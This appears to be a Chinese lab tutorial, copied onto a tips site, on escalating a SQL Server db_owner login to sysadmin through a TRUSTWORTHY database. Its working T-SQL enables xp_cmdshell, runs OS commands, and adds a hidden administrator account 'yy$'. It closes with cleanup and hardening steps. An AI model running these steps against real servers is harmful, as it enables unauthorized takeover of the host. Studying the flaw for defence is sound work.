首页 > 电脑专区 > windows >

SQL SERVER数据库账号提取服务器权限(二)

来源:互联网 2023-02-22 11:26:23 73

在创建数据库账号时赋予了账号对应数据库db_owner角色,并将数据库设置为可信任,该账号也拥有了权限对服务器提权yvh办公区 - 实用经验教程分享!

工具/原料

SQL SERVER2008

方法/步骤

1

一、新建数据库和账号yvh办公区 - 实用经验教程分享!

create database testDB; --Create databaseyvh办公区 - 实用经验教程分享!

select SUSER_SNAME(owner_sid) from sys.databases where name = 'testDB' --verify sa is the owner of the application databaseyvh办公区 - 实用经验教程分享!

create login testDBuser with password = 'mYPass@word' --Create loginyvh办公区 - 实用经验教程分享!

use testDByvh办公区 - 实用经验教程分享!

goyvh办公区 - 实用经验教程分享!

alter login testDBuser with default_database = testDB --set testDB is the default database of the loginyvh办公区 - 实用经验教程分享!

create user testuser from login testDBuser --crete useryvh办公区 - 实用经验教程分享!

2

二、分配数据库db_owner权限yvh办公区 - 实用经验教程分享!

--set db_owner role of the useryvh办公区 - 实用经验教程分享!

exec sp_addrolemember db_owner,testuseryvh办公区 - 实用经验教程分享!

-- Verify the user was added as db_owneryvh办公区 - 实用经验教程分享!

select rp.name as database_role, mp.name as database_useryvh办公区 - 实用经验教程分享!

from sys.database_role_members drmyvh办公区 - 实用经验教程分享!

join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)yvh办公区 - 实用经验教程分享!

join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)yvh办公区 - 实用经验教程分享!

3

三、设置测试数据库为可信yvh办公区 - 实用经验教程分享!

--设置testDB数据库为可信yvh办公区 - 实用经验教程分享!

ALTER DATABASE testDB SET TRUSTWORTHY ONyvh办公区 - 实用经验教程分享!

--查询可信数据库信息,testDB以及MSDB数据库被标记成可信yvh办公区 - 实用经验教程分享!

SELECT a.name,b.is_trustworthy_onyvh办公区 - 实用经验教程分享!

FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name;yvh办公区 - 实用经验教程分享!

SQL SERVER数据库账号提取服务器权限(二)yvh办公区 - 实用经验教程分享!

4

四、利用存储过程执行提权命令一yvh办公区 - 实用经验教程分享!

使用testDBuser用户登陆SQL Server,然后执行TSQL,创建一个名为sp_elevate1的存储过程。这个存储过程在OWNER权限中运行,这是sa帐户存在的情况。由于是使用sa权限登录的,所以这可能将testDBuser加入系统管理员组。yvh办公区 - 实用经验教程分享!

use testDByvh办公区 - 实用经验教程分享!

goyvh办公区 - 实用经验教程分享!

create procedure sp_elevate1yvh办公区 - 实用经验教程分享!

with execute as owneryvh办公区 - 实用经验教程分享!

asyvh办公区 - 实用经验教程分享!

exec sp_configure 'show advanced option',1 -- Enable show optionsyvh办公区 - 实用经验教程分享!

reconfigureyvh办公区 - 实用经验教程分享!

exec sp_configure 'xp_cmdshell',1 -- Enable xp_cmdshellyvh办公区 - 实用经验教程分享!

reconfigureyvh办公区 - 实用经验教程分享!

exec master..xp_cmdshell 'whoami'yvh办公区 - 实用经验教程分享!

exec master.dbo.xp_cmdshell 'query user'yvh办公区 - 实用经验教程分享!

goyvh办公区 - 实用经验教程分享!

yvh办公区 - 实用经验教程分享!

exec sp_elevate1yvh办公区 - 实用经验教程分享!

SQL SERVER数据库账号提取服务器权限(二)yvh办公区 - 实用经验教程分享!

5

use testDByvh办公区 - 实用经验教程分享!

goyvh办公区 - 实用经验教程分享!

CREATE PROCEDURE xxxyvh办公区 - 实用经验教程分享!

WITH EXECUTE AS OWNERyvh办公区 - 实用经验教程分享!

ASyvh办公区 - 实用经验教程分享!

exec master..xp_cmdshell 'net user yy$ Yy@hack.com /add'yvh办公区 - 实用经验教程分享!

exec master..xp_cmdshell 'net localgroup administrators yy$ /add'yvh办公区 - 实用经验教程分享!

SQL SERVER数据库账号提取服务器权限(二)yvh办公区 - 实用经验教程分享!

6

五、利用存储过程执行提权命令二yvh办公区 - 实用经验教程分享!

使用testDBuser用户登陆SQL Server,然后执行TSQL,创建一个名为sp_elevate2的存储过程。yvh办公区 - 实用经验教程分享!

USE testDByvh办公区 - 实用经验教程分享!

GOyvh办公区 - 实用经验教程分享!

CREATE PROCEDURE sp_elevate2yvh办公区 - 实用经验教程分享!

WITH EXECUTE AS OWNERyvh办公区 - 实用经验教程分享!

ASyvh办公区 - 实用经验教程分享!

EXEC sp_addsrvrolemember 'testDBuser','sysadmin'yvh办公区 - 实用经验教程分享!

GOyvh办公区 - 实用经验教程分享!

exec sp_elevate2yvh办公区 - 实用经验教程分享!

SQL SERVER数据库账号提取服务器权限(二)yvh办公区 - 实用经验教程分享!

7

SELECT is_srvrolemember('sysadmin')yvh办公区 - 实用经验教程分享!

SQL SERVER数据库账号提取服务器权限(二)yvh办公区 - 实用经验教程分享!

8

六、删除账号并重新配置数据库yvh办公区 - 实用经验教程分享!

1、net user yy$ /delyvh办公区 - 实用经验教程分享!

2、将被影响的数据库“TRUSTWORTHY”设置为off(包括MSDB), 防止在存储过程中执行xp_cmdshell和一些其他恶意的操作yvh办公区 - 实用经验教程分享!

3、关闭数据库中有sysadmin权限的用户具有sysadmin权限yvh办公区 - 实用经验教程分享!

注意事项

1、实验知识点:db_owner角色可以在数据库中任意创建存储过程2、系统管理员配置可信数据库的权限时,存在允许特权帐户提升数据库权限的安全风险

以上方法由办公区教程网编辑摘抄自百度经验可供大家参考!yvh办公区 - 实用经验教程分享!


标签: 服务提取数据权限

办公区 Copyright © 2016-2023 www.bgqu.net. Some Rights Reserved. 备案号:湘ICP备2020019561号统计代码